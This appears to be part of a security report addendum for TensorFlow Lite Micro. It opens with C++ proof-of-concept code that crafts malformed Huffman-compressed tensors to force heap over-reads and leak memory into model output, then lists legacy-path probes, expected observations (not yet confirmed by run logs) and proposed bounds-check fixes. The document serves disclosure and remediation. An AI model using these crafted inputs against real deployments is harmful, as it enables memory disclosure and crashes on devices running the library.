constexpr size_t kDcmHeaderSize = 16;
// 16-byte DCM header for the Huffman decoder.
// [0]=type (1 = huffman) [1]=DCM version (1) [4]=huffman version (1)
// [5]=params: bit0 = 32-bit table flag, bits 4-7 = initial table size
// (log2(N)-1). All other bytes zero.
std::vector<uint8_t> MakeHeader(uint8_t initial_table_bits) {
std::vector<uint8_t> h(kDcmHeaderSize, 0);
h[0] = DecodeState::kDcmTypeHuffman;
h[1] = 1;
h[4] = 1;
h[5] = initial_table_bits << 4; // 16-bit table (bit0 clear)
return h;
}
TfLiteTensor MakeTensor(const int* dims_data, const void* data, bool constant,
TfLiteType type) {
TfLiteTensor t = {};
t.type = type;
t.dims = testing::IntArrayFromInts(dims_data);
t.data.data = const_cast<void*>(data);
t.allocation_type = constant ? kTfLiteMmapRo : kTfLiteArenaRw;
size_t bytes = 1;
for (int i = 1; i <= dims_data[0]; i++) bytes *= dims_data[i];
t.bytes = bytes;
return t;
}
bool RunOnce(const uint8_t* anc_data, size_t anc_declared, const uint8_t* in_data,
size_t in_declared, int8_t* out_data, int out_count) {
TfLiteTensor tensors[3] = {};
int in_dims[] = {1, static_cast<int>(in_declared)};
int anc_dims[] = {1, static_cast<int>(anc_declared)};
int out_dims[] = {1, out_count};
// The decoder casts the input to uint32_t words; element type is irrelevant
// to the walk, uint8 keeps NumElements == declared bytes.
tensors[0] = MakeTensor(in_dims, in_data, true, kTfLiteUInt8);
tensors[1] = MakeTensor(anc_dims, anc_data, true, kTfLiteUInt8);
tensors[2] = MakeTensor(out_dims, out_data, false, kTfLiteInt8);
int inputs[] = {2, 0, 1};
int outputs[] = {1, 2};
TfLiteIntArray* inputs_arr = testing::IntArrayFromInts(inputs);
TfLiteIntArray* outputs_arr = testing::IntArrayFromInts(outputs);
const TFLMRegistration registration = Register_DECODE();
micro::KernelRunner runner(registration, tensors, 3, inputs_arr,
outputs_arr, nullptr);
return runner.InitAndPrepare() == kTfLiteOk && runner.Invoke() == kTfLiteOk;
}
// h1-near: first table read is already past the 16-byte declared ancillary.
int CaseH1Near(const char* mode) {
const bool canary = strcmp(mode, "canary") == 0;
constexpr uint8_t kMarker = 0xA5;
// initial bits = 0 -> 1-bit first index; zero bits -> index 0.
std::vector<uint8_t> blob = MakeHeader(0);
if (canary) {
blob.resize(kDcmHeaderSize + 64);
// First canary word: symbol-found entry whose low byte is the marker.
blob[kDcmHeaderSize] = kMarker;
blob[kDcmHeaderSize + 1] = 0x80; // little-endian 0x8000|kMarker
}
std::vector<uint8_t> in(8, 0x00); // zero bitstream -> first index 0
std::vector<int8_t> out(4, 0);
RunOnce(blob.data(), kDcmHeaderSize, in.data(), in.size(), out.data(), 4);
printf("h1-near out[0] = 0x%02x (expect 0x%02x from canary)\n",
(uint8_t)out[0], kMarker);
printf("H1-NEAR %s: first huffman table entry read past the ancillary tensor "
"end and was disclosed into the decompressed output\n",
(uint8_t)out[0] == kMarker && canary ? "CONFIRMED" : "(exact mode: "
"expect ASAN heap-buffer-overflow READ 0 bytes after 16-byte region)");
return 0;
}
// h1-far: chain entries advance table_offset by 0x7FF per step; a marker
// symbol entry sits at entry kChainSteps*0x7FF.
int CaseH1Far(const char* mode) {
const bool canary = strcmp(mode, "canary") == 0;
constexpr uint16_t kAdvance = 0x07FF; // max 16-bit value-mask
constexpr size_t kChainSteps = 24;
constexpr size_t kChainEntries = kChainSteps * kAdvance + 16;
constexpr uint8_t kMarker = 0x5A;
std::vector<uint8_t> blob = MakeHeader(0);
if (canary) {
blob.resize(kDcmHeaderSize + (kChainEntries + 8) * 2);
// Fill with little-endian 0x07FF chain entries (count field 0 -> 1 bit per
// step; not symbol-found).
for (size_t e = 0; e < kChainEntries + 8; e++) {
blob[kDcmHeaderSize + e * 2] = 0xFF;
blob[kDcmHeaderSize + e * 2 + 1] = 0x07;
}
// Landing entry: symbol-found with marker low byte, count field 0.
const size_t land = kChainSteps * kAdvance;
blob[kDcmHeaderSize + land * 2] = kMarker;
blob[kDcmHeaderSize + land * 2 + 1] = 0x80;
}
std::vector<uint8_t> in(8, 0x00); // zero bits -> every current_index is 0
std::vector<int8_t> out(4, 0);
RunOnce(blob.data(), kDcmHeaderSize, in.data(), in.size(), out.data(), 4);
const size_t landed_byte = kDcmHeaderSize + kChainSteps * kAdvance * 2;
printf("h1-far out[0] = 0x%02x (expect 0x%02x; walk landed at blob+%zu, "
"%zu bytes past the 16-byte declared tensor)\n",
(uint8_t)out[0], kMarker, landed_byte, landed_byte - kDcmHeaderSize);
printf("H1-FAR %s: unbounded accumulating table walk steered far past the "
"tensor end, landed word disclosed\n",
(uint8_t)out[0] == kMarker && canary ? "CONFIRMED" : "(exact mode: "
"expect ASAN heap-buffer-overflow READ at ~100KB offset)");
return 0;
}
// h2: 1-word input, 512-element output, 2-entry table consuming 1 bit per
// symbol -> 16 words consumed; past-end bits choose entry 0 vs entry 1.
int CaseH2(const char* mode) {
const bool canary = strcmp(mode, "canary") == 0;
constexpr int kCount = 512;
// initial bits = 0 -> 1-bit indices; table fully INSIDE the declared
// ancillary so only the input-side over-read triggers.
std::vector<uint8_t> blob = MakeHeader(0);
blob.resize(kDcmHeaderSize + 4);
blob[kDcmHeaderSize] = 0x11; // entry0: symbol, low byte 0x11
blob[kDcmHeaderSize + 1] = 0x80;
blob[kDcmHeaderSize + 2] = 0x22; // entry1: symbol, low byte 0x22
blob[kDcmHeaderSize + 3] = 0x80;
std::vector<uint8_t> in_ones(64, 0xFF); // declared extent set below
std::vector<uint8_t> in_zeros(64, 0x00);
std::vector<int8_t> out_ones(kCount), out_zeros(kCount);
// Declared input: 4 bytes = 1 word. Canary bytes 4..63 differ per run.
RunOnce(in_ones.data(), 4, blob.data(), blob.size(), out_ones.data(), kCount);
RunOnce(in_zeros.data(), 4, blob.data(), blob.size(), out_zeros.data(),
kCount);
size_t diffs = 0;
for (int i = 0; i < kCount; i++)
if (out_ones[i] != out_zeros[i]) diffs++;
printf("h2: %zu/%d outputs differ between 0xFF- and 0x00-filled past-end "
"input bytes\n", diffs, kCount);
printf("H2 %s: bitstream reader consumed ~16 words of a 1-word input; "
"past-end bits selected value-table entries and became model output\n",
diffs > kCount / 2 && canary ? "CONFIRMED" : "(exact mode: expect "
"ASAN heap-buffer-overflow READ ~0-56 bytes after 4-byte region)");
return 0;
}
} // namespace
} // namespace tflite
int main(int argc, char* argv[]) {
if (argc < 2) {
fprintf(stderr, "usage: %s <h1-near|h1-far|h2> [canary|exact]\n", argv[0]);
return 2;
}
const char* mode = argc > 2 ? argv[2] : "canary";
tflite::MicroPrintf("huffman hostile probe: %s %s", argv[1], mode);
if (strcmp(argv[1], "h1-near") == 0) return tflite::CaseH1Near(mode);
if (strcmp(argv[1], "h1-far") == 0) return tflite::CaseH1Far(mode);
if (strcmp(argv[1], "h2") == 0) return tflite::CaseH2(mode);
fprintf(stderr, "unknown case %s\n", argv[1]);
return 2;
}
Build: identical recipe to the parent report's harness (same source list —
it already compiles decode_state_huffman.cc and the decompress*.cc
files — same flags, plain and -fsanitize=address binaries); swap the
harness object to poc_huffman_hostile.cc.
The legacy-path probes (attached; poc_legacy_build.py builds the models,
poc_legacy_runner.cc runs them through a MicroInterpreter with a
FULLY_CONNECTED resolver):
| case | model shape | exercises |
|---|---|---|
| l1 | value table = 1 float entry, index_bitwidth = 7, filter shape [2,2], indices fully in-bounds |
L1 only: value_table[0..127] over a 1-float buffer; 126/128 decompressed filter floats come from past the buffer |
| l2 | scale count 2 (stride = size/2), filter shape [256,2], quantized_dimension 0 |
L2 only: 256-channel walk over a table sized for 2 channels |
| l3 | per-channel (2 scales), filter shape [0,2] | L3 only: dims[0] = 0 -> divide at DecompressionState construction, before any kernel output |
| l4 | filter shape [512], index_bitwidth = 7 needs 448 packed bytes, tensor buffer = 1 byte, value table fully sized |
L4 only: index fetches read up to 448 bytes past a 1-byte buffer |
Each case is built twice with different canary fills (0xA5 / 0x5A) of the model-buffer region after the value table; the runner prints the fully_connected outputs for both and the diff count — a non-zero diff is the disclosure (the outputs are a function of memory the tensor does not own), the same control structure as the parent report's probes.
Expected observations (derived from the code paths above; the confirmation criterion per shape — run logs to follow):
| probe | expected |
|---|---|
| h1-near canary | out[0] == 0xA5 (marker from the first past-end table word) |
| h1-near exact | ASan heap-buffer-overflow READ 0 bytes after a 16-byte region |
| h1-far canary | out[0] == 0x5A from ~98 KB past the declared tensor |
| h1-far exact | ASan heap-buffer-overflow READ at a large offset (or SEGV on an unmapped page) |
| h2 canary | >50% of 512 outputs differ between the 0xFF and 0x00 past-end fills |
| h2 exact | ASan heap-buffer-overflow READ shortly after a 4-byte region |
| l1 / l2 / l4 | fully_connected outputs differ between the two canary fills |
| l3 | process dies SIGFPE (exit 136) at DecompressionState construction (decompress.h:81) |
Proposed fix (extends the parent report's list)
The parent report's items 1-3 (ancillary length, input length, channel derivation) close the DECODE-op shapes; the same three checks, plus one cross-check, close everything in this addendum:
- Huffman table span (item 1's huffman analog): in
DecodeStateHuffman::Setup, requireancillary.bytes >= 16 + declared table span— the span the initial index and the chain walk can reach — and cap the chain loop (e.g. a maximum iteration count per symbol). This closes H1's first-lookup and walk-unbounded halves. - Huffman input length (item 2's analog): require the input tensor to
hold at least the words the decode loop can request
(
count_codewords_symbols × the worst-case bits per symbol), or bound the reader by an available-word count. This closes H2. - Legacy value-table size: in
InitializeCompressionTensorDataFromFlatbuffer, requirevalue_buffer->size() >= 2^index_bit_width * type_size(per channel —× num_channelswhen per-channel) and reject otherwise. This closes L1. - Legacy count reconciliation: when per-channel, require the metadata
channel count (
scale->size()) to equal the shape's channel-axis dim before deriving the stride from one and walking with the other; reject zero dims on the channel axis (which also closes L3's divide). This closes L2 and L3. - Legacy indices buffer: require the tensor's buffer to hold
ceil(ElementCount(dims) * bitwidth / 8)bytes at the same place the value buffer is checked. This closes L4.
Items 3-5 are single-site checks in micro_allocator.cc (plus the zero-dim
reject), shared by every consumer kernel through the existing
kernel_util.h entry point.